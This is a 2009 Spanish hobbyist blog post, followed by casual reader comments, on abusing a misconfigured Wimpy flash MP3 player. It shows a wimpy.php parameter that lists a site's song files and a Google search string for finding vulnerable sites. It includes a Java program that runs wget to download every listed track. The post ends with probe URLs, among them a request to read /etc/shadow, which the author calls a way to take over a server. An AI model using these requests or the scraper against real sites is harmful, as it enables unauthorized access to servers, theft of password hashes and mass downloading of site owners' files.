Bueno, pues hoy toca post juanker, pa uno que hago al año no os quejeis xD. Facilico y puede que útil.
Bastantes grupos de música y demás permiten escuchar canciones suyas desde su web mediante el típico reproductor flash con su botón de play, pause y demás. Puesto que son los propios grupos los que nos ofrecen las canciones en sus sites, no hacemos nada ilegal escuchándolas. Tampoco lo haríamos si nos las bajásemos directamente, pero bueno, es otro tema xD
Uno de los reproductores típicos es wimpy (30$ ¬¬). En teoría solo podemos disfrutar de las canciones cuando navegamos por su web. En teoría. En la práctica, tenemos 2 opciones:
- Jugar con los archivos temporales del navegador web. Las canciones se tienen que guardar en algún lado en nuestro ordenador no?
Basta con buscarlas, ir renombrándolas y copíandolas a donde queremos.
- Aprovecharnos de la mala configuración del propio wimpy y de que la gente copia y pega archivos sin saber ni lo que hace, y bajárnoslas directamente.
Explicación xD:
wimpy.php es el reproductor en sí. Por tanto, debe conocer en qué directorios se encuentran los archivos que va a reproducir. Si le echamos un ojo al código, vemos que, si como es de esperar, nadie ha cambiado nada, podemos conocer los archivos pasándole como parámetro la acción getstartupdirlist.
Resumiendo,
wimpy.php?action=getstartupdirlist
nos dará un “listado” en texto plano con las canciones que hay en el servidor y su ruta completa. Y digo “listado” porque no tiene el formato para que sea copiar y pegar y ya, pero se puede ver fácilmente. Ejemplico:
Vamos a la web http://www.blablabla.com/mp3/wimpy.php?action=getstartupdirlist y veremos lo siguiente:
&item0=http%3A%2F%2Fwww.blablabla.com%2Fmp3%2Facdc-whole%20lotta%20rosie.mp3|acdc-whole%20lotta%20rosie||acdc-whole%20lotta%20rosie|||||||&item1=http%3A%2F%2Fwww.blablabla.com%2Fmp3%2Falex%20godino-destination%20calabria.mp3|alex%20godino-destination%20calabria||alex%20godino-destination%20calabria|||||||
Y para bajar una canción bastaría con poner en el navegador/gestor de descargas/loquesea
http://www.blablabla.com/mp3/acdc-whole lotta rosie.mp3
¿Facilico no? Y podemos buscar canciones del grupo que queramos gracias a google, mediante la cadena:
artista inurl:wimpy.php
Por ejemplo, La Fuga: lafuga inurl:wimpy.php
Y como es un coñazo copiar&pegar&descargar, he hecho un programita que lo hace solo xD. Para usarlo basta con:
wimpy www.artista.com/dir/wimpy.php
El programa se encarga de obtener el listado, darle formato, guardar en un directorio todas las canciones de esa web. El código, de lo más tonto, en bash_sript_hecho_con_java_para_que_funcione_en_windows:
// All this software is provided under the GNU GPL and/or LGPL licenses.
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class main {
public static void main(String[] args) {
String cadena="",tmp="";
//argumentos !=1
if (args.length!=1){
System.out.println("Miniprogramica juanquer para bajar canciones de wimpy.\r\nUso: wimpy www.WEB.com/directorio/wimpy.php");
}
// argumentos correctos
else{
// dirección correcta
if (!args[0].toString().endsWith("wimpy.php")){
System.out.println("ERROR: introduzca un formato de dirección correcta");
}
// descarga del fichero
String direccion=("wget -O listado.txt " + args[0]+"?action=getstartupdirlist");
try {
Process p= Runtime.getRuntime().exec(direccion);
try {
p.waitFor();
} catch (InterruptedException e) {
System.out.println("ERROR: no se ha podido finalizar la descarga del listado de canciones");
}
} catch (IOException e1) {
System.out.println("ERROR: Asegúrse de que wget está instalado y de que se poseen permisos de escritura en el directorio");
System.exit(1);
}
BufferedReader fd =null;
try{
fd = new BufferedReader(new InputStreamReader(new FileInputStream("listado.txt")));
}
catch (Exception e) {
System.out.println("ERROR: El fichero no se ha podido leer");
System.exit(1);
}
// lectura del fichero
try {
while ((tmp = fd.readLine())!=null) {
cadena=cadena+tmp;
}
} catch (IOException e) {
System.out.println("ERROR: Fichero malformado");
System.exit(1);
}
// REGEX
String mp3="(http://.*?.mp3)";
String[] canciones = null;
String comando;
try{
canciones=cadena.split("&");
}
catch (Exception e){
System.out.println("No se encuentran canciones");
}
// separamos las canciones
System.out.println("Por favor, espere...");
int Ncanciones=0;
for (int i=0;i<canciones.length;i++){
Pattern p = Pattern.compile(mp3,Pattern.CASE_INSENSITIVE| Pattern.DOTALL);
Matcher m=p.matcher(canciones[i]);
// Descarga de las canciones
if (m.find())
{
Ncanciones+=1;
comando = "wget "+ m.group(1).toString();
try {
Process p1= Runtime.getRuntime().exec(comando);
System.out.println("Descargando archivo " + Ncanciones + " : " + comando );
p1.waitFor();
// informacion para depurar, comentar linea superior
// System.out.println(comando);
} catch (Exception e) {
System.out.println("ERROR: imposible descargar"+m.group(1).toString());
System.exit(1);
}
}
}
// finalización
if (Ncanciones==0){
System.out.println("ERROR: No se ha descargado ninguna canción, asegúrese de que la ruta indicada es correcta");
}
else {
System.out.println("FINALIZADO ==>"+ Ncanciones + " canciones descargadas con éxito ^^");
}
}
}
}
Evidentemente, se puede adaptar a lo que te de la gana, basta con cambiar las expresiones regulares y usar el gestor de descarga que queramos.
Foticos del bicho en acción:
- apuntico de empezar

- ejecutándose

- terminado

Como nota avanzada, repetir que no hay que usar cosas de otros sin saber cómo funcionan, que luego vienen las sorpresas. Por ejemplo, y sin entrar en el código, probad cosas como:
wimpy.php?action=phpinfo wimpy.php?action=getmysql wimpy.php?action=downloadFile&theFile=/etc/shadow
Bonita forma de adueñarnos de un servidor
Ale, ya está, ya me he distraído. Sigo estudiando xD
7 respuestas hasta el momento ↓
Chú // Junio 22, 2009 a 13:43 |
puto friki juanckeador!
estudia maldito que luego…te pediré que me ayudes a meterme en los archivos de mis profesores para ponerme aprobados
xD
Sparkling Diamond // Junio 22, 2009 a 22:10 |
Por qué has vuelto a escribir cosas de friki???¬¬
Con que ibas a avisarles de que había un fallo en la página…Ya veo tu ética de informático…
glog // Junio 22, 2009 a 22:12 |
exceptio veritaes!
Sparkling Diamond // Junio 23, 2009 a 21:51 |
Se dice exceptio veritatis…y jajaja pensaba que habías entendido bien lo que significaba, pero veo que no, porque con eso me das la razón a mí (q
Sparkling Diamond // Junio 23, 2009 a 21:56 |
(le he dado al intro sin querer
)
Bueno eso, que si, que tengo razón, y que bien se vive de vacaciones
glog // Junio 23, 2009 a 22:07 |
que te den xD
Tisi // Junio 25, 2009 a 11:56 |
yo quiero que me enseñes a junkear xd, cambio clases de juankeo por aire acondicionao portatil xd